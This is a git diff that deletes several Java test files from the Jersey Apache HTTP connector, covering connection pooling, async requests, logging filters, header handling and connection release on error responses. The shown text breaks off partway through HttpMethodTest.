- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.Socket;
-import java.util.Map;
-import java.util.concurrent.ConcurrentHashMap;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.InternalServerErrorException;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.InvocationCallback;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import javax.net.ssl.SSLSession;
-
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.HttpConnectionMetrics;
-import org.apache.http.HttpEntityEnclosingRequest;
-import org.apache.http.HttpException;
-import org.apache.http.HttpHost;
-import org.apache.http.HttpRequest;
-import org.apache.http.HttpResponse;
-import org.apache.http.conn.ClientConnectionManager;
-import org.apache.http.conn.ClientConnectionRequest;
-import org.apache.http.conn.ConnectionPoolTimeoutException;
-import org.apache.http.conn.HttpClientConnectionManager;
-import org.apache.http.conn.ManagedClientConnection;
-import org.apache.http.conn.routing.HttpRoute;
-import org.apache.http.conn.scheme.SchemeRegistry;
-import org.apache.http.impl.conn.BasicClientConnectionManager;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.apache.http.params.HttpParams;
-import org.apache.http.protocol.HttpContext;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Jakub Podlesak
- */
-public class HelloWorldTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
-    private static final String ROOT_PATH = "helloworld";
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("error")
-        public Response getError() {
-            return Response.serverError().entity("Error.").build();
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("error2")
-        public Response getError2() {
-            return Response.serverError().entity("Error2.").build();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
-        config.register(new LoggingFeature(LOGGER, Level.INFO, LoggingFeature.Verbosity.PAYLOAD_ANY,
-                LoggingFeature.DEFAULT_MAX_ENTITY_SIZE));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testConnection() {
-        Response response = target().path(ROOT_PATH).request("text/plain").get();
-        assertEquals(200, response.getStatus());
-    }
-
-    @Test
-    public void testClientStringResponse() {
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-    }
-
-    @Test
-    public void testConnectionPoolSharingEnabled() throws Exception {
-        _testConnectionPoolSharing(true);
-    }
-
-    @Test
-    public void testConnectionPoolSharingDisabled() throws Exception {
-        _testConnectionPoolSharing(false);
-    }
-
-    public void _testConnectionPoolSharing(final boolean sharingEnabled) throws Exception {
-
-        final HttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager();
-
-        final ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER_SHARED, sharingEnabled);
-        cc.connectorProvider(new ApacheConnectorProvider());
-
-        final Client clientOne = ClientBuilder.newClient(cc);
-        WebTarget target = clientOne.target(getBaseUri()).path(ROOT_PATH);
-        target.request().get();
-        clientOne.close();
-
-        final boolean exceptionExpected = !sharingEnabled;
-
-        final Client clientTwo = ClientBuilder.newClient(cc);
-        target = clientTwo.target(getBaseUri()).path(ROOT_PATH);
-        try {
-            target.request().get();
-            if (exceptionExpected) {
-                Assertions.fail("Exception expected");
-            }
-        } catch (Exception e) {
-            if (!exceptionExpected) {
-                Assertions.fail("Exception not expected");
-            }
-        } finally {
-            clientTwo.close();
-        }
-
-        if (sharingEnabled) {
-            connectionManager.shutdown();
-        }
-    }
-
-    @Test
-    public void testAsyncClientRequests() throws InterruptedException {
-        HttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager();
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget target = client.target(getBaseUri());
-        final int REQUESTS = 20;
-        final CountDownLatch latch = new CountDownLatch(REQUESTS);
-        final long tic = System.currentTimeMillis();
-        final Map<Integer, String> results = new ConcurrentHashMap<Integer, String>();
-        for (int i = 0; i < REQUESTS; i++) {
-            final int id = i;
-            target.path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
-                @Override
-                public void completed(Response response) {
-                    try {
-                        final String result = response.readEntity(String.class);
-                        results.put(id, result);
-                    } finally {
-                        latch.countDown();
-                    }
-                }
-
-                @Override
-                public void failed(Throwable error) {
-                    Logger.getLogger(HelloWorldTest.class.getName()).log(Level.SEVERE, "Failed on throwable", error);
-                    results.put(id, "error: " + error.getMessage());
-                    latch.countDown();
-                }
-            });
-        }
-        assertTrue(latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS));
-        final long toc = System.currentTimeMillis();
-        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
-
-        StringBuilder resultInfo = new StringBuilder("Results:\n");
-        for (int i = 0; i < REQUESTS; i++) {
-            String result = results.get(i);
-            resultInfo.append(i).append(": ").append(result).append('\n');
-        }
-        Logger.getLogger(HelloWorldTest.class.getName()).info(resultInfo.toString());
-
-        for (int i = 0; i < REQUESTS; i++) {
-            String result = results.get(i);
-            assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
-        }
-    }
-
-    @Test
-    public void testHead() {
-        Response response = target().path(ROOT_PATH).request().head();
-        assertEquals(200, response.getStatus());
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals("foo/bar", response.getMediaType().toString());
-        assertEquals(0, response.getLength());
-    }
-
-    @Test
-    public void testTextPlainOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-        final String responseBody = response.readEntity(String.class);
-        _checkAllowContent(responseBody);
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testMissingResourceNotFound() {
-        Response response;
-
-        response = target().path(ROOT_PATH + "arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-
-        response = target().path(ROOT_PATH).path("arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientClass() {
-        Client client = client();
-        client.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterClientInstance() {
-        Client client = client();
-        client.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetClass() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetInstance() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testConfigurationUpdate() {
-        Client client1 = client();
-        client1.register(CustomLoggingFilter.class).property("foo", "bar");
-
-        Client client = ClientBuilder.newClient(client1.getConfiguration());
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = client.target(getBaseUri()).path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    /**
-     * JERSEY-2157 reproducer.
-     * <p>
-     * The test ensures that entities of the error responses which cause
-     * WebApplicationException being thrown by a JAX-RS client are buffered
-     * and that the underlying input connections are automatically released
-     * in such case.
-     */
-    @Test
-    public void testConnectionClosingOnExceptionsForErrorResponses() {
-        final BasicClientConnectionManager cm = new BasicClientConnectionManager();
-        final AtomicInteger connectionCounter = new AtomicInteger(0);
-
-        final ClientConfig config = new ClientConfig().property(ApacheClientProperties.CONNECTION_MANAGER,
-                new ClientConnectionManager() {
-                    @Override
-                    public SchemeRegistry getSchemeRegistry() {
-                        return cm.getSchemeRegistry();
-                    }
-
-                    @Override
-                    public ClientConnectionRequest requestConnection(final HttpRoute route, final Object state) {
-                        connectionCounter.incrementAndGet();
-
-                        final ClientConnectionRequest wrappedRequest = cm.requestConnection(route, state);
-
-                        /**
-                         * To explain the following long piece of code:
-                         *
-                         * All the code does is to just create a wrapper implementations
-                         * for the AHC connection management interfaces.
-                         *
-                         * The only really important piece of code is the
-                         * {@link org.apache.http.conn.ManagedClientConnection#releaseConnection()} implementation,
-                         * where the connectionCounter is decremented when a managed connection instance
-                         * is released by AHC runtime. In our test, this is expected to happen
-                         * as soon as the exception is created for an error response
-                         * (as the error response entity gets buffered in
-                         * {@link org.glassfish.jersey.client.JerseyInvocation#convertToException(jakarta.ws.rs.core.Response)}).
-                         */
-                        return new ClientConnectionRequest() {
-                            @Override
-                            public ManagedClientConnection getConnection(long timeout, TimeUnit tunit)
-                                    throws InterruptedException, ConnectionPoolTimeoutException {
-
-                                final ManagedClientConnection wrappedConnection = wrappedRequest.getConnection(timeout, tunit);
-
-                                return new ManagedClientConnection() {
-                                    @Override
-                                    public boolean isSecure() {
-                                        return wrappedConnection.isSecure();
-                                    }
-
-                                    @Override
-                                    public HttpRoute getRoute() {
-                                        return wrappedConnection.getRoute();
-                                    }
-
-                                    @Override
-                                    public SSLSession getSSLSession() {
-                                        return wrappedConnection.getSSLSession();
-                                    }
-
-                                    @Override
-                                    public void open(HttpRoute route, HttpContext context, HttpParams params) throws IOException {
-                                        wrappedConnection.open(route, context, params);
-                                    }
-
-                                    @Override
-                                    public void tunnelTarget(boolean secure, HttpParams params) throws IOException {
-                                        wrappedConnection.tunnelTarget(secure, params);
-                                    }
-
-                                    @Override
-                                    public void tunnelProxy(HttpHost next, boolean secure, HttpParams params) throws IOException {
-                                        wrappedConnection.tunnelProxy(next, secure, params);
-                                    }
-
-                                    @Override
-                                    public void layerProtocol(HttpContext context, HttpParams params) throws IOException {
-                                        wrappedConnection.layerProtocol(context, params);
-                                    }
-
-                                    @Override
-                                    public void markReusable() {
-                                        wrappedConnection.markReusable();
-                                    }
-
-                                    @Override
-                                    public void unmarkReusable() {
-                                        wrappedConnection.unmarkReusable();
-                                    }
-
-                                    @Override
-                                    public boolean isMarkedReusable() {
-                                        return wrappedConnection.isMarkedReusable();
-                                    }
-
-                                    @Override
-                                    public void setState(Object state) {
-                                        wrappedConnection.setState(state);
-                                    }
-
-                                    @Override
-                                    public Object getState() {
-                                        return wrappedConnection.getState();
-                                    }
-
-                                    @Override
-                                    public void setIdleDuration(long duration, TimeUnit unit) {
-                                        wrappedConnection.setIdleDuration(duration, unit);
-                                    }
-
-                                    @Override
-                                    public boolean isResponseAvailable(int timeout) throws IOException {
-                                        return wrappedConnection.isResponseAvailable(timeout);
-                                    }
-
-                                    @Override
-                                    public void sendRequestHeader(HttpRequest request) throws HttpException, IOException {
-                                        wrappedConnection.sendRequestHeader(request);
-                                    }
-
-                                    @Override
-                                    public void sendRequestEntity(HttpEntityEnclosingRequest request)
-                                            throws HttpException, IOException {
-                                        wrappedConnection.sendRequestEntity(request);
-                                    }
-
-                                    @Override
-                                    public HttpResponse receiveResponseHeader() throws HttpException, IOException {
-                                        return wrappedConnection.receiveResponseHeader();
-                                    }
-
-                                    @Override
-                                    public void receiveResponseEntity(HttpResponse response) throws HttpException, IOException {
-                                        wrappedConnection.receiveResponseEntity(response);
-                                    }
-
-                                    @Override
-                                    public void flush() throws IOException {
-                                        wrappedConnection.flush();
-                                    }
-
-                                    @Override
-                                    public void close() throws IOException {
-                                        wrappedConnection.close();
-                                    }
-
-                                    @Override
-                                    public boolean isOpen() {
-                                        return wrappedConnection.isOpen();
-                                    }
-
-                                    @Override
-                                    public boolean isStale() {
-                                        return wrappedConnection.isStale();
-                                    }
-
-                                    @Override
-                                    public void setSocketTimeout(int timeout) {
-                                        wrappedConnection.setSocketTimeout(timeout);
-                                    }
-
-                                    @Override
-                                    public int getSocketTimeout() {
-                                        return wrappedConnection.getSocketTimeout();
-                                    }
-
-                                    @Override
-                                    public void shutdown() throws IOException {
-                                        wrappedConnection.shutdown();
-                                    }
-
-                                    @Override
-                                    public HttpConnectionMetrics getMetrics() {
-                                        return wrappedConnection.getMetrics();
-                                    }
-
-                                    @Override
-                                    public InetAddress getLocalAddress() {
-                                        return wrappedConnection.getLocalAddress();
-                                    }
-
-                                    @Override
-                                    public int getLocalPort() {
-                                        return wrappedConnection.getLocalPort();
-                                    }
-
-                                    @Override
-                                    public InetAddress getRemoteAddress() {
-                                        return wrappedConnection.getRemoteAddress();
-                                    }
-
-                                    @Override
-                                    public int getRemotePort() {
-                                        return wrappedConnection.getRemotePort();
-                                    }
-
-                                    @Override
-                                    public void releaseConnection() throws IOException {
-                                        connectionCounter.decrementAndGet();
-                                        wrappedConnection.releaseConnection();
-                                    }
-
-                                    @Override
-                                    public void abortConnection() throws IOException {
-                                        wrappedConnection.abortConnection();
-                                    }
-
-                                    @Override
-                                    public String getId() {
-                                        return wrappedConnection.getId();
-                                    }
-
-                                    @Override
-                                    public void bind(Socket socket) throws IOException {
-                                        wrappedConnection.bind(socket);
-                                    }
-
-                                    @Override
-                                    public Socket getSocket() {
-                                        return wrappedConnection.getSocket();
-                                    }
-                                };
-                            }
-
-                            @Override
-                            public void abortRequest() {
-                                wrappedRequest.abortRequest();
-                            }
-                        };
-                    }
-
-                    @Override
-                    public void releaseConnection(ManagedClientConnection conn, long keepalive, TimeUnit tunit) {
-                        cm.releaseConnection(conn, keepalive, tunit);
-                    }
-
-                    @Override
-                    public void closeExpiredConnections() {
-                        cm.closeExpiredConnections();
-                    }
-
-                    @Override
-                    public void closeIdleConnections(long idletime, TimeUnit tunit) {
-                        cm.closeIdleConnections(idletime, tunit);
-                    }
-
-                    @Override
-                    public void shutdown() {
-                        cm.shutdown();
-                    }
-                });
-        config.connectorProvider(new ApacheConnectorProvider());
-
-        final Client client = ClientBuilder.newClient(config);
-        final WebTarget rootTarget = client.target(getBaseUri()).path(ROOT_PATH);
-
-        // Test that connection is getting closed properly for error responses.
-        try {
-            final String response = rootTarget.path("error").request().get(String.class);
-            fail("Exception expected. Received: " + response);
-        } catch (InternalServerErrorException isee) {
-            // do nothing - connection should be closed properly by now
-        }
-
-        // Fail if the previous connection has not been closed automatically.
-        assertEquals(0, connectionCounter.get());
-
-        try {
-            final String response = rootTarget.path("error2").request().get(String.class);
-            fail("Exception expected. Received: " + response);
-        } catch (InternalServerErrorException isee) {
-            assertEquals("Error2.", isee.getResponse().readEntity(String.class), "Received unexpected data.");
-            // Test buffering:
-            // second read would fail if entity was not buffered
-            assertEquals("Error2.", isee.getResponse().readEntity(String.class), "Unexpected data in the entity buffer.");
-        }
-
-        assertEquals(0, connectionCounter.get());
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpEntityTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpEntityTest.java
deleted file mode 100644
index 6b918ab..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpEntityTest.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import org.apache.http.entity.ByteArrayEntity;
-import org.apache.http.entity.InputStreamEntity;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.io.ByteArrayInputStream;
-import java.util.logging.Logger;
-
-public class HttpEntityTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpEntityTest.class.getName());
-    private static final String ECHO_MESSAGE = "ECHO MESSAGE";
-
-    @Path("/")
-    public static class Resource {
-        @POST
-        public String echo(String message) {
-            return message;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(Resource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testInputStreamEntity() {
-        ByteArrayInputStream bais = new ByteArrayInputStream(ECHO_MESSAGE.getBytes());
-        InputStreamEntity entity = new InputStreamEntity(bais);
-
-        try (Response response = target().request().post(Entity.entity(entity, MediaType.APPLICATION_OCTET_STREAM))) {
-            Assertions.assertEquals(200, response.getStatus());
-            Assertions.assertEquals(ECHO_MESSAGE, response.readEntity(String.class));
-        }
-    }
-
-    @Test
-    public void testByteArrayEntity() {
-        ByteArrayEntity entity = new ByteArrayEntity(ECHO_MESSAGE.getBytes());
-
-        try (Response response = target().request().post(Entity.entity(entity, MediaType.APPLICATION_OCTET_STREAM))) {
-            Assertions.assertEquals(200, response.getStatus());
-            Assertions.assertEquals(ECHO_MESSAGE, response.readEntity(String.class));
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpHeadersTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpHeadersTest.java
deleted file mode 100644
index b10aed3..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpHeadersTest.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.annotation.Annotation;
-import java.lang.reflect.Type;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.MultivaluedMap;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.ext.MessageBodyWriter;
-import jakarta.ws.rs.ext.Provider;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.glassfish.jersey.test.TestProperties;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class HttpHeadersTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            if (transferEncoding == null || !transferEncoding.equals("chunked")) {
-                assertEquals("writer", xWriter);
-            }
-            return entity;
-        }
-    }
-
-    @Provider
-    @Produces("text/plain")
-    public static class HeaderWriter implements MessageBodyWriter<String> {
-
-        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
-            return type == String.class;
-        }
-
-        public long getSize(String t, Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
-            return -1;
-        }
-
-        public void writeTo(String t,
-                            Class<?> type,
-                            Type genericType,
-                            Annotation[] annotations,
-                            MediaType mediaType,
-                            MultivaluedMap<String, Object> httpHeaders,
-                            OutputStream entityStream) throws IOException, WebApplicationException {
-            httpHeaders.add("X-WRITER", "writer");
-            entityStream.write(t.getBytes());
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        enable(TestProperties.LOG_TRAFFIC);
-        enable(TestProperties.DUMP_ENTITY);
-
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class, HeaderWriter.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.property(ClientProperties.READ_TIMEOUT, 1000).connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-
-        Response cr = r.request().header("X-CLIENT", "client").post(Entity.text("POST"));
-        assertEquals(200, cr.getStatus());
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        WebTarget r = target("test");
-
-        Response cr = r.request().header("X-CLIENT", "client").post(Entity.text("POST"));
-        assertEquals(200, cr.getStatus());
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpMethodTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpMethodTest.java
deleted file mode 100644
index c362d91..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpMethodTest.java
+++ /dev/null
@@ -1,312 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-
-import jakarta.ws.rs.ClientErrorException;
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.PUT;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class HttpMethodTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(HttpMethodResource.class, ErrorResource.class);
-    }
-
-    protected Client createClient() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        return ClientBuilder.newClient(cc);
-    }
-
-    protected Client createPoolingClient() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager();
-        connectionManager.setMaxTotal(100);
-        connectionManager.setDefaultMaxPerRoute(100);
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        return ClientBuilder.newClient(cc);
-    }
-
-    private WebTarget getWebTarget(final Client client) {
-        return client.target(getBaseUri()).path("test");
-    }
-
-    private WebTarget getWebTarget() {
-        return getWebTarget(createClient());
-    }
-
-    @Target({ElementType.METHOD})
-    @Retention(RetentionPolicy.RUNTIME)
-    @HttpMethod("PATCH")
-    public @interface PATCH {
-    }
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @POST
-        public String post(String entity) {
-            return entity;
-        }
-
-        @PUT
-        public String put(String entity) {
-            return entity;
-        }
-
-        @DELETE
-        public String delete() {
-            return "DELETE";
-        }
-
-        @DELETE
-        @Path("withentity")
-        public String delete(String entity) {
-            return entity;
-        }
-
-        @POST
-        @Path("noproduce")
-        public void postNoProduce(String entity) {
-        }
-
-        @POST
-        @Path("noconsumeproduce")
-        public void postNoConsumeProduce() {
-        }
-
-        @PATCH
-        public String patch(String entity) {
-            return entity;
-        }
-    }
-
-    @Test
-    public void testHead() {
-        WebTarget r = getWebTarget();
-        Response cr = r.request().head();
